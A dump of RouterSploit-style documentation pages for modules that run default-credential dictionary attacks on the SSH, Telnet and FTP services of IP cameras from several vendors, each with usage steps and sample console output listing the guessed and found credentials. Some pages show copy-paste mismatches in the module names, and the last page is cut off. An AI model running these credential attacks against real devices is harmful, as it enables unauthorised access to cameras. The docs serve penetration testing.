[+] target => 192.168.1.1
rsf (Axis Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/axis/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Axis Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/axis/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/axis/telnet_default_creds
rsf (Axis Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Axis Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/basler/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Basler Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/basler/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/basler/ftp_default_creds
rsf (Basler Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Basler Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/basler/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Basler Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/basler/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/brickcom/ssh_default_creds
rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/basler/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Basler Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/basler/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/dlink/telnet_default_creds
rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/brickcom/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Brickcom Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/brickcom/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/brickcom/ftp_default_creds
rsf (Brickcom Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/brickcom/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Brickcom Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/brickcom/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/brickcom/ssh_default_creds
rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/brickcom/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Brickcom Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/brickcom/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/brickcom/telnet_default_creds
rsf (Brickcom Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/canon/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Canon Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/canon/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/canon/ftp_default_creds
rsf (Canon Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/canon/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Canon Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/canon/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/canon/ssh_default_creds
rsf (Canon Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/canon/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Canon Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/canon/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/canon/telnet_default_creds
rsf (Canon Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/cisco/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/cisco/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/cisco/ftp_default_creds
rsf (Cisco Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/cisco/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/cisco/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/cisco/ssh_default_creds
rsf (Cisco Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/cisco/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/cisco/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/cisco/telnet_default_creds
rsf (Cisco Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/dlink/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/dlink/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/dlink/ftp_default_creds
rsf (D-Link Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/dlink/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/dlink/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/dlink/ssh_default_creds
rsf (D-Link Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/dlink/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/dlink/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/dlink/telnet_default_creds
rsf (D-Link Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/geovision/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against GeoVision Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/geovision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/geovision/ftp_default_creds
rsf (GeoVision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/geovision/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against GeoVision Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/geovision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/geovision/ssh_default_creds
rsf (GeoVision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/geovision/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against GeoVision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/geovision/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/geovision/telnet_default_creds
rsf (GeoVision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/grandstream/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Grandstream Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/grandstream/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/grandstream/ftp_default_creds
rsf (Grandstream Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/grandstream/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Grandstream Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/grandstream/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/grandstream/ssh_default_creds
rsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/grandstream/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Grandstream Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/grandstream/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/grandstream/telnet_default_creds
rsf (Grandstream Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/hikvision/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Hikvision Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/hikvision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/hikvision/ftp_default_creds
rsf (Hikvision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/hikvision/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Hikvision Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/hikvision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/hikvision/ssh_default_creds
rsf (Hikvision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/hikvision/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Hikvision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/hikvision/telnet_default_creds`
